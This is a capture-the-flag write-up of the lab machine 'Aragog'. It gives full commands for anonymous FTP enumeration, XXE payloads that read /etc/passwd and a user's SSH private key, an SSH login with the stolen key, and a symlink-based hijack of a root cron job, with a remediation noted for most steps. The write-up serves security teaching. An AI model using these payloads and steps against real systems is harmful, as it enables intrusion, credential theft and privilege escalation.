Aragog
Summary
I exploited anonymous FTP access to retrieve a configuration file disclosing an internal virtual host (aragog.htb). That host's XML-processing PHP endpoint accepted external entity declarations and was vulnerable to XXE injection, which I used to read arbitrary server files — first confirming the vulnerability against /etc/passwd, then exfiltrating local user florian's SSH private key from her home directory. The stolen key provided an authenticated SSH session as florian and the user flag.
Internal enumeration revealed a WordPress dev-wiki subdirectory under the web root configured world-writable (mode 777), and process inspection showed a root-owned cron job periodically running a restore script that operated on that same path. Replacing the directory with a symbolic link pointing to /root and waiting one cron interval caused the restore script to follow the link into /root and propagate permissive permissions onto its contents — making root.txt world-readable and achieving full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <details>, <subnet_mask>, <test> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 5
Identify open services and version banners.
$ nmap -sV -p 21,22,80 $TARGETLog in as anonymous; lists FTP root and reveals hosts.xml.
$ curl -s --user anonymous:anonymous ftp://$TARGET/Download the configuration file that discloses the aragog.htb vhost.
$ curl -s --user anonymous:anonymous ftp://$TARGET/hosts.xmlAdd the discovered vhost to local name resolution.
$ echo "$TARGET aragog.htb" | sudo tee -a /etc/hostsIdentify the XML-consuming hosts.php endpoint on the vhost.
$ curl -si --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.phpFixDisable anonymous FTP or remove internal configuration files from the FTP rootHigh
Exact commands 2
Write the XXE proof-of-concept payload; the SYSTEM entity targets /etc/passwd.
$ printf '<?xml version="1.0"?>\n<!DOCTYPE details [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>\n<details><subnet_mask>&xxe;</subnet_mask><test></test></details>' > /tmp/passwd_xxe.xmlSubmit the payload; /etc/passwd contents appear in the response, confirming XXE.
$ curl -s -X POST --data-binary @/tmp/passwd_xxe.xml -H 'Content-Type: application/xml' --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.phpFixDisable XML external entity processing in the PHP XML parserCritical
Exact commands 3
Write the XXE payload targeting florian's private key.
$ printf '<?xml version="1.0"?>\n<!DOCTYPE details [ <!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa"> ]>\n<details><subnet_mask>&xxe;</subnet_mask><test></test></details>' > /tmp/sshkey_xxe.xmlExfiltrate the key; raw output contains the PEM block embedded in HTML markup.
$ curl -s -X POST --data-binary @/tmp/sshkey_xxe.xml -H 'Content-Type: application/xml' --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.php > /tmp/florian_key_raw.outStrip surrounding HTML, save the clean PEM key, and set mode 600 (required by SSH).
$ awk '/-----BEGIN RSA PRIVATE KEY-----/{p=1; sub(/^.*-----BEGIN RSA PRIVATE KEY-----/,"-----BEGIN RSA PRIVATE KEY-----")} p{print} /-----END RSA PRIVATE KEY-----/{p=0}' /tmp/florian_key_raw.out > loot/florian_id_rsa && chmod 600 loot/florian_id_rsaExact commands 2
Open an interactive shell as florian using the stolen private key.
$ ssh -i loot/florian_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=8 florian@$TARGETRead the user flag: <user.txt>
$ cat /home/florian/user.txtExact commands 4
Locate world-writable directories under the web root.
$ find /var/www/html -perm -o+w -lsSpot root's restore.sh cron process and cliff's wp-login.py automation.
$ ps aux | grep -E 'restore|wp-login|python'Read database credentials from wp-config.php (DB_USER=root, DB_PASSWORD=<withheld>) — informational.
$ grep -E 'DB_USER|DB_PASSWORD' /var/www/html/dev_wiki/wp-config.phpRead WordPress administrator credentials logged by the backdoored wp-login.php — informational, not usable for lateral movement.
$ cat /tmp/.wpcredExact commands 3
Remove the directory (permitted because the parent /var/www/html is world-writable).
$ rm -rf /var/www/html/dev_wikiPlant the symlink: /var/www/html/dev_wiki -> /root.
$ ln -s /root /var/www/html/dev_wikiConfirm the symlink is in place and resolves to /root.
$ ls -la /var/www/html/dev_wikiFixRemove world-write permissions from web-served directoriesCritical
Exact commands 2
Poll every 20 seconds until the root cron fires and /root/root.txt becomes world-readable (typically one cron interval).
$ while true; do ls -la /root/root.txt 2>/dev/null && echo 'READABLE' && break; sleep 20; doneRead the root flag: <root.txt>
$ cat /root/root.txtFixHarden the root cron restore script against symlink traversalCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.